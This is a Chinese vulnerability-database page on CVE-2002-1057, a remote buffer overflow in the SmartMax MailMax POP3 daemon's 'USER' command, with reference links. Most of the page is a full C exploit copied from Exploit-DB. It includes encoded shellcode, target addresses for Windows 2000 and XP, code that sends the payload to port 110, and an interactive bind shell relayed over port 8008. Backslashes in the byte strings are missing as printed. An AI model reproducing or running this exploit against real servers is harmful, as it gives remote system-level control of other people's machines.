MailMax POP3守护程序’USER’命令远程缓冲区溢出漏洞

MailMax POP3守护程序’USER’命令远程缓冲区溢出漏洞

漏洞ID 1106861 漏洞类型 未知
发布时间 2002-07-20 更新时间 2005-05-02
图片[1]-MailMax POP3守护程序’USER’命令远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2002-1057
图片[2]-MailMax POP3守护程序’USER’命令远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200210-100
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/21633
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200210-100
|漏洞详情
SmartMaxMailMax是一个线程邮件服务器,具有一个IP地址多任务、ActiveX远程管理、向导定义、自动回复邮件等功能。SmartMaxMailMaxPOP3守护程序在处理用户提交的’USER’命令参数时缺少正确处理,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。SmartMaxMailMaxPOP3守护程序’popmax’没有对用户提交给’USER’命令的参数进行充分的缓冲区边界检查,攻击者可以提交大量的字符串作为’USER’命令的参数传递给’popmax’守护程序,可导致’popmax’产生缓冲区溢出,精心构建提交的字符串数据可以使攻击者以’popmax’守护程序进程的权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/5285/info

Reportedly, MailMax is vulnerable to buffer overflow attacks against its POP3 daemon, popmax. The vulnerability occurs due to improper bounds checking of the 'USER' argument.

It is possible for an attacker to cause the buffer overflow condition in popmax by submitting an overly large value for the 'USER' argument. This will cause popmax to crash and execute attacker supplied code.

/*

	mmaxexp.c

	July 20th, 2002



	SmartMax MailMax Standard/Professional 4.8

	http://www.smartmax.com

	

	an overflow is present in the USER argument of

	the pop3max daemon.. however, we do not get eip..

	but with buffers of various sizes we can get

	eax, ecx, and edx.. edx being the most useful as

	shown below..

	

	CALL [EDX+0C] @RVA413A08



	so now we just need to drop the rva of our shell

	that we'd like to call into memory somewhere 

	(-0C of course)..see CALL



	YAY!@$!

	

	2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected])		

*/

	

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <sys/errno.h>

#include <unistd.h>



/* Windows 2000 Professional/Server */

char EDX2k[]  = "x30xd7x68x06";

char CALL2k[] = "xecxd9x68x06";



/* Windows XP Professional */

char EDXxp[]  = "x30xd7x25x06";

char CALLxp[] = "xecxd9x25x06";



/* we repeat the payload ptr on every */

/* dword prior to our target rva in   */

/* order to increase those sexy odds  */



char shell[2205];



char header[] = "x55x53x45x52x20x90x90x90";



char payload[] ="x55x8bxec"

		"x68x5ex56xc3x90x54x59xffxd1x58x33xc9xb1x1c"

		"x90x90x90x90x03xf1x56x5fx33xc9x66xb9x95x04"

		"x90x90x90xacx34x15xaaxe2xfaxfdx15x15x15x15"

		"x48x94xf8xccx34x55x15x98xa0xe7x31x55x15x98"

		"xa8xefx31x55x15x7fx12x85x85x85x85x4cxfdxc7"

		"x17x15x15x98xa0x3fx30x55x15x98xa8x26x30x55"

		"x15x7fx1fx85x85x85x85x4cxfdxafx17x15x15x7f"

		"x15x98xa0xccx30x55x15x43x98xa0xf0x30x55x15"

		"x43x98xa0xfcx30x55x15x43xeax80x26x30x55x15"

		"x7fx15x98xa0xccx30x55x15x43x98xa0xf8x30x55"

		"x15x43x98xa0xe4x30x55x15x43xeax80x26x30x55"

		"x15xd2x90xe0x30x55x15x51x15x15x15x98xa0xe0"

		"x30x55x15x43xeax80x22x30x55x15x98xa0x38x33"

		"x55x15xb8x45xeax80x46x30x55x15x98xa0x24x33"

		"x55x15xb8x45xeax80x46x30x55x15x98xa0xe4x30"

		"x55x15x98xa8x38x33x55x15xb0x98xa0xf0x30x55"

		"x15xb8x98xa8x24x33x55x15xbex98xa8x20x33x55"

		"x15xbexd2x90x30x33x55x15x15x15x15x15xd2x90"

		"x34x33x55x15x14x14x15x15x98xa0x2cx33x55x15"

		"x43x98xa0xe0x30x55x15x43x7fx15x7fx15x7fx05"

		"x7fx14x7fx15x7fx15x98xa0x5cx33x55x15x43x7f"

		"x15xeax80x2ex30x55x15x7dx15x35x15x15x85x7d"

		"x15x17x15x15xeax80x56x30x55x15x9cx90x44x33"

		"x55x15x26xd5x45x55x45x55x45xeax80xefx31x55"

		"x15x45x4ex7fx05x98xa0xdcx30x55x15x43x46xea"

		"x80xebx31x55x15x7fx16x46xeax80x17x30x55x15"

		"x98xa0x40x33x55x15x43x98xa0xdcx30x55x15x43"

		"x46xeax80x13x30x55x15x98xa8x4cx33x55x15xbe"

		"x26xd5x45x98xa8x70x33x55x15x42x45x45x45x98"

		"xa0xfcx30x55x15xb8x45xeax80x2ax30x55x15x7f"

		"x25xeax80x5ax30x55x15xfex58x85x85x85x26xd5"

		"x45x98xa8x70x33x55x15x42x45x45x45x98xa0xfc"

		"x30x55x15xb8x45xeax80x2ax30x55x15x7fx45xea"

		"x80x5ax30x55x15x96xa8x70x33x55x15x17x1ax97"

		"x02x14x15x15x94xa8x70x33x55x15x14x35x15x15"

		"x67x1bx85x85x85x85xd2x90x70x33x55x15x15x35"

		"x15x15x7fx15x9ex90x70x33x55x15x98xa8x70x33"

		"x55x15x42x45x9ex90x44x33x55x15x45x98xa0xfc"

		"x30x55x15xb8x45xeax80x52x30x55x15x7fx45xea"

		"x80x5ax30x55x15x9ex90x70x33x55x15x7fx15x45"

		"x98xa0x44x33x55x15xb8x45x98xa0x4cx33x55x15"

		"xb8x45xeax80x1fx30x55x15x7fx15x98xa8x70x33"

		"x55x15x42x7fx15x7fx15x7fx15x98xa0xfcx30x55"

		"x15xb8x45xeax80x2ax30x55x15x7fx45xeax80x5a"

		"x30x55x15x26xdcx2cx98x70x33x55x15x1ax92x72"

		"xeaxeaxeax7fx15x7dx15x35x15x15x85x98xa0x44"

		"x33x55x15xb8x45x98xa0x4cx33x55x15xb8x45xea"

		"x80x1bx30x55x15x9cx90x74x33x55x15x7fx15x98"

		"xa8x70x33x55x15x42x45x98xa0x44x33x55x15xb8"

		"x45x98xa0xf8x30x55x15xb8x45xeax80x5ex30x55"

		"x15x7fx45xeax80x5ax30x55x15x7fx15x9ex90x74"

		"x33x55x15x98xa8x70x33x55x15x42x45x9ex90x44"

		"x33x55x15x45x98xa0xfcx30x55x15xb8x45xeax80"

		"x52x30x55x15x7fx45xeax80x5ax30x55x15xfcxac"

		"xebxeaxeax98xa0x4cx33x55x15xb8x45xeax80x07"

		"x30x55x15x98xa0x48x33x55x15xb8x45xeax80x07"

		"x30x55x15x7fx15xeax80x42x30x55x15x44x43x7d"

		"xddx59xbdx15x85x4fxeax07x45x4ex4cx42x4bx44"

		"x43x46x7dxe5x59xbdx15x85x4fxeax07x45xb9x91"

		"xd5x60xeex4dxbex4cxf7xfcxd6x42x46x5ax56x5e"

		"x26x27x15x66x7ax76x7ex70x61x15x77x7cx7bx71"

		"x15x79x7cx66x61x70x7bx15x74x76x76x70x65x61"

		"x15x66x70x7bx71x15x67x70x76x63x15x76x79x7a"

		"x66x70x66x7ax76x7ex70x61x15x5ex50x47x5bx50"

		"x59x26x27x15x56x67x70x74x61x70x45x7cx65x70"

		"x15x52x70x61x46x61x74x67x61x60x65x5cx7bx73"

		"x7ax54x15x56x67x70x74x61x70x45x67x7ax76x70"

		"x66x66x54x15x45x70x70x7ex5bx74x78x70x71x45"

		"x7cx65x70x15x52x79x7ax77x74x79x54x79x79x7a"

		"x76x15x47x70x74x71x53x7cx79x70x15x42x67x7c"

		"x61x70x53x7cx79x70x15x46x79x70x70x65x15x56"

		"x79x7ax66x70x5dx74x7bx71x79x70x15x50x6dx7c"

		"x61x45x67x7ax76x70x66x66x15x56x7ax71x70x71"

		"x35x77x6cx35x69x4fx74x7bx35x29x7cx6fx74x7b"

		"x55x71x70x70x65x6fx7ax7bx70x3bx7ax67x72x2b"

		"x17x15x0ax5dx15x15x15x15x15x15x15x15x15x15"

		"x15x15x19x15x15x15x15x15x15x15x14x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x56x58x51x3bx50x4dx50x15x15x15x15x15"

		"x05x15x15x15x15x15x15x15x15x15x15x15x15x15"

		"x15x15x15x15x15x15x1cx1cx1cx1cx1cx90x90x90"

		"x0dx0a";



main(char argc, char **argv){

        int fd, i, opt;

        int bufsize = 1024;

        int *buffer = (int *)malloc(bufsize);

        struct sockaddr_in sin;

        struct hostent *he;

        struct in_addr in;



	printf("MailMax Standard/Professional 4.8 remote 'SYSTEM' level exploit (07/20/2002)n");

	printf("2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected])nn");



        if (argc < 4){

                printf("usage: %s <hostname> -t <type>nn", argv[0]);

                printf("types: 0 - Windows 2000 Professional/Servern");

                printf("       1 - Windows XP Professionalnn");

                exit(-1);

        }



        while ((opt = getopt(argc, argv, "t:"))){

        	switch(opt){

                case 't':

			 if(optarg[0] == '0'){

			 	strcpy(shell, header);

			 	for(i = 1;i < 247;i++){

			 		strcat(shell, CALL2k);

			 	}

			 	strcat(shell, EDX2k);

			 	strcat(shell, payload);

			 	break;

			 }

			 

			 if(optarg[0] == '1'){

			 	strcpy(shell, header);

			 	for(i = 1; i < 247;i++){

			 		strcat(shell, CALLxp);

			 	}

			 	strcat(shell, EDXxp);

			 	strcat(shell, payload);

			 	break;

			 }

                         

                         printf("invalid typenn");

                         printf("types: 0 - Windows 2000 Professional SP2 + hot fixes 6/8/2002n");

                         printf("       1 - Windows XP Professional SP1 + hot fixes 6/8/2002nn");

                         exit(-1);

                }

                break;

        }



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}

        else

        if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));

        sin.sin_port = htons(110);

 

        printf("connecting to tcp port 110 (POP3)...n");

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}

 

        printf("connected.nn");

 	sleep(1);

        printf("dumping payload...");

        if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}

	printf("donen");

	printf("code dumped.nn");



        close(fd);



        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}



        sin.sin_family = AF_INET;

        sin.sin_addr.s_addr = inet_addr(argv[1]);

        sin.sin_port = htons(8008);



        printf("connecting to tcp port 8008... (wait 3s)n");

        sleep(3);

        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){printf("exploit failed.. adjust EDX/CALL?nn");exit(-1);}

        printf("success! izn0wnz3rat3d!nn");



        while(1) {

                fd_set input;



                FD_SET(0,&input);

                FD_SET(fd,&input);

                if((select(fd+1,&input,NULL,NULL,NULL))<0) {

                        if(errno==EINTR) continue;

                        printf("connection resetn"); fflush(stdout);

                        exit(1);

                }

                if(FD_ISSET(fd,&input))

                        write(1,buffer,read(fd,buffer,bufsize));

                if(FD_ISSET(0,&input))

                        write(fd,buffer,read(0,buffer,bufsize));

        }



        close(fd);



}
|参考资料

来源:BID
名称:5285
链接:http://www.securityfocus.com/bid/5285
来源:XF
名称:mailmax-pop3max-user-bo(9651)
链接:http://www.iss.net/security_center/static/9651.php
来源:BUGTRAQ
名称:20020723MailMaxsecurityadvisory/exploit/patch
链接:http://archives.neohapsis.com/archives/bugtraq/2002-07/0245.html

相关推荐: IBM AIX Parallel Systems Support Programs (PSSP)漏洞

IBM AIX Parallel Systems Support Programs (PSSP)漏洞 漏洞ID 1204515 漏洞类型 未知 发布时间 2002-04-01 更新时间 2002-04-01 CVE编号 CVE-2002-1620 CNNVD-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享